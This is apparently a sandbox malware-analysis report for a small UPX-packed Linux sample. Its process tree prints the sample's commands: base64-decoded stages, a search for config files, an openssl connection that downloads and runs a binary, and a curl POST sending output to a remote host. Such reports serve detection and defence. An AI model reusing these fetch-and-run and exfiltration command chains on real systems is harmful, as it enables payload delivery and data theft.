Overview

overview

7

Static

static

1

da2ec82545...fc055d

ubuntu-18.04-amd64

7

da2ec82545...fc055d

debian-9-armhf

7

da2ec82545...fc055d

debian-9-mips

7

da2ec82545...fc055d

debian-9-mipsel

7

Analysis

  • max time kernel
    6s
  • max time network
    8s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/11/2026, 16:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    da2ec8254504fd6a758fdf425a8b83b5aaeccee4ec0b56d6405adf3ca5fc055d
  • Size 3KB
  • Sample261104-vg6bhsd15q
  • SHA256 da2ec8254504fd6a758fdf425a8b83b5aaeccee4ec0b56d6405adf3ca5fc055d
  • MD5 SHA1 SHA512 TLSH
Score
7/10
antivmdefense_evasiondiscoveryupx

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Deobfuscate/Decode Files or Information 1 TTPs 3 IoCs

    Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

    defense_evasion
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/da2ec8254504fd6a758fdf425a8b83b5aaeccee4ec0b56d6405adf3ca5fc055d
    /tmp/da2ec8254504fd6a758fdf425a8b83b5aaeccee4ec0b56d6405adf3ca5fc055d
    1⤵
      PID:655
      • /usr/bin/base64
        base64 -d
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:659
      • /bin/sh
        sh
        2⤵
          PID:660
          • /bin/bash
            bash --norc --noprofile -
            3⤵
              PID:664
              • /usr/bin/tr
                tr "," "|"
                4⤵
                  PID:677
                • /bin/sed
                  sed "s/\\./\\\\./g"
                  4⤵
                  • Reads runtime system information
                  PID:679
                • /usr/bin/find
                  find . /tmp/ /var/tmp /dev/shm /usr/bin /var/lib/gitea/data/home /var/lib/postgresql -maxdepth 3 -iname "*.json" -o -iname "*.cfg" -o -iname "*.bak"
                  4⤵
                  • Reads runtime system information
                  PID:687
              • /usr/bin/base64
                base64 -d
                3⤵
                • Deobfuscate/Decode Files or Information
                PID:663
              • /bin/bash
                bash --norc --noprofile -
                3⤵
                • Executes dropped EXE
                PID:692
                • /bin/rm
                  rm -rf hi
                  4⤵
                    PID:696
                  • /usr/bin/openssl
                    openssl s_client -quiet -ign_eof -connect cdn.valorant.su:443 -servername cdn.valorant.su
                    4⤵
                      PID:698
                    • /usr/bin/perl
                      perl -e " binmode(STDIN); my \$headers = \"\"; while (<STDIN>) { \$headers .= \$_; last if /^\\r?\\n\$/; } my (\$len) = \$headers =~ /Content-Length:\\s*(\\d+)/i; open(my \$out, \">:raw\", \"hi\") or die \$!; if (defined \$len) { my \$rem = \$len; while (\$rem > 0) { my \$read = read(STDIN, my \$buf, (\$rem > 8192 ? 8192 : \$rem)); last if !\$read; print \$out \$buf; \$rem -= \$read; } } else { while (my \$read = read(STDIN, my \$buf, 8192)) { print \$out \$buf; } } close(\$out); "
                      4⤵
                      • Writes file to tmp directory
                      PID:699
                    • /bin/chmod
                      chmod +x hi
                      4⤵
                      • File and Directory Permissions Modification
                      PID:727
                    • /tmp/hi
                      ./hi -c -d
                      4⤵
                        PID:728
                      • /bin/rm
                        rm -rf hi
                        4⤵
                          PID:731
                      • /usr/bin/base64
                        base64 -d
                        3⤵
                        • Deobfuscate/Decode Files or Information
                        PID:691
                      • /bin/rm
                        rm -f "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs/f1bb593-34f524973f59e8cdda8c6387-linux-x86_64/zz*.so"
                        3⤵
                          PID:732
                      • /usr/bin/curl
                        curl -sk --max-time 30 -X POST --data-binary "0 bash: line 24: ./hi: cannot execute binary file: Exec format error" http://91-92-40-202.sslip.io:37129/out/18e4e59b1eb71496
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        PID:734

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          hi
                          • Path /tmp/hi
                          • Size 6.2MB
                          • SHA256 a8513f37db3089424693c687a3c64c03f36faa47d861abd0162c9bcb942c6a1f
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download